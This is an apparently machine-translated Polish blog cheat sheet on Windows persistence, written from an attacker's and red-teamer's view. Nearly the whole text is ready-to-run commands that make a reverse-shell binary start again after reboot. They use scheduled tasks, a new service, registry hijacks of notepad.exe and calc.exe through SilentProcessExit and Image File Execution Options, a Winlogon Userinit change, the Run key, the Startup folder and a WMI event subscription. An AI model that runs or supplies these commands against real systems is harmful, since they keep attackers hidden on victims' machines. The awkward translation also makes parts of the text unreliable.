Ściągawka dotycząca trwałości systemu Windows

Mar 03 2023
Wprowadzenie Witam w tym nowym artykule, tutaj będziesz miał CheatSheet, aby uzyskać trwałość w systemach Windows, tutaj zobaczymy wiele sposobów, aby to zrobić, a na koniec stworzę narzędzie do automatyzacji tego wszystkiego, które stworzyłem w C++. Co to jest wytrwałość? Trwałość składa się z technik wykorzystywanych przez przeciwników do utrzymywania dostępu do systemów po ponownym uruchomieniu, zmianie poświadczeń i innych przerwach, które mogą odciąć im dostęp.

Wstęp

Witam w tym nowym artykule, tutaj będziesz miał CheatSheet, aby uzyskać trwałość w systemach Windows, tutaj zobaczymy wiele sposobów, aby to zrobić, a na koniec stworzę narzędzie do automatyzacji tego wszystkiego, co stworzyłem w C++.

Co to jest wytrwałość?

Trwałość składa się z technik wykorzystywanych przez przeciwników do utrzymywania dostępu do systemów po ponownym uruchomieniu, zmianie poświadczeń i innych przerwach, które mogą odciąć im dostęp. Techniki stosowane do utrwalania obejmują dostęp, działania lub zmiany konfiguracji, które pozwalają im utrzymać pozycję w systemach, takie jak zastępowanie lub przejmowanie legalnego kodu lub dodawanie kodu startowego.

Byłaby to najbardziej poprawna definicja, ale moim zdaniem wytrwałość w zasadzie pozwala ci nadal mieć dostęp lub móc kontynuować działanie na zaatakowanej maszynie w dowolnym momencie, nawet po wyłączeniu komputera ponownie otrzymalibyśmy naszą powłokę bez ponownej infekcji urządzenie ofiary.

Indeks

  • Zaplanowane zadania
  • Usługi
  • Zamknij aplikację
  • Otworzyć aplikację
  • WinLogon
  • Uruchom rejestrację
  • Folder startowy
    WMIC

Zaplanowane zadania:

Zaplanowane zadania to jeden z najprostszych sposobów na osiągnięcie uporczywości, problem polega na tym, że użytkownikowi jest to dużo łatwiejsze do wykrycia, ale zwykły użytkownik zwykle tego nie zauważa.

Aby to utworzyć, muszę użyć schtasks:

Aby utworzyć nowe zadanie:

schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"

      
                

Usługi Windows to podstawowe komponenty systemu operacyjnego, które zarządzają wszystkim, od zarządzania pamięcią i urządzeniami po zarządzanie aplikacjami innych firm oraz poświadczeniami i preferencjami użytkownika, podobnie jak demon Unix.

POC:

Na początek potrzebujemy instancji powershell:

A teraz tworzę nową usługę z automatycznym uruchamianiem, ta usługa wykonuje plik binarny określony w BinaryPathName:

New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic

      
                

sc start s12

      
                

Kolejny sposób, w jaki jest moim ulubionym, pozwala na wykonanie pliku binarnego, gdy użytkownik zamknie dowolny zdefiniowany proces lub plik binarny. W tym przypadku tworzę odwrotną powłokę, gdy użytkownik zakończy proces notepad.exe .

Aby to zrobić, musimy wykonać 3 polecenia w cmd:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"

Kiedy automatycznie zamykam notatnik, otrzymuję odwróconą powłokę

Otworzyć aplikację:

Kolejny sposób, w jaki jest to mój drugi ulubiony sposób, pozwala na wykonanie pliku binarnego, gdy użytkownik otworzy dowolny zdefiniowany proces lub plik binarny. W tym przypadku tworzę odwrotną powłokę, gdy użytkownik otwiera proces calc.exe .

Aby to zrobić, musimy wykonać 2 polecenia w cmd:

copy calc.exe _calc.exe

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f

Kiedy użytkownik otwiera kalkulator, otrzymuję odwrotne połączenie z powłoką.

WinLogon:

Winlogon to składnik systemu Windows, który obsługuje różne czynności, takie jak logowanie, wylogowywanie, ładowanie profilu użytkownika podczas uwierzytelniania, zamykanie, blokowanie ekranu itp. Tego rodzaju zachowaniem zarządza rejestr, który określa, które procesy mają zostać uruchomione podczas logowania do systemu Windows. Z perspektywy zespołu czerwonego zdarzenia te mogą być wyzwalaczem, który wykona dowolny ładunek w celu zachowania trwałości.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

      
                

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f

      
                

Klucz rejestru został zmodyfikowany!

Uruchom rejestrację

Rejestr jest hierarchiczną bazą danych zawierającą dane krytyczne dla działania systemu Windows oraz aplikacji i usług działających w systemie Windows. Dane mają strukturę drzewa. Każdy węzeł w drzewie nazywany jest kluczem . Każdy klucz może zawierać zarówno podklucze, jak i wpisy danych zwane wartościami.

POC:

W tym przypadku warto skorzystać z Run Register, te rejestry są jednymi z najważniejszych w systemie Windows, ale w tym przypadku masz przewagę, nie potrzebujesz uprawnień administratora , aby to wykonać:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"

      
                

Folder startowy

Po ponownym uruchomieniu lub zalogowaniu użytkownika system operacyjny Windows wykonuje pliki wykonywalne, które znajdują się w ścieżce używanej do folderu startowego, zwykle są to:

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

      
                

Windows Management Instrumentation (WMI) umożliwia administratorom systemu wykonywanie zadań lokalnie i zdalnie. Z perspektywy red teamingu WMI może służyć do wykonywania kilku czynności, takich jak ruch boczny, wytrwałość, świadomość sytuacyjna, wykonywanie kodu oraz jako komenda i kontrola (C2). Fakt, że WMI jest częścią systemu Windows, który istnieje w prawie wszystkich systemach operacyjnych Windows (Windows 98-Windows 10), pozwala, aby te ofensywne działania pozostały poza radarem niebieskiego zespołu.

Plik wykonywalny zwróci odwrotną sesję powłoki w ciągu 60 sekund po każdym ponownym uruchomieniu.

W takim przypadku muszę wykonać 3 polecenia:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

      
                
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

Do dzisiejszego artykułu, ten CheatSheet uważam, że szło bardzo dobrze i będzie bardzo przydatne, dodatkowo tworzę narzędzie z C++ do automatyzacji tego wszystkiego. Zwróć uwagę na mojego Githuba.

Dzięki, że to przeczytałeś :)

S12.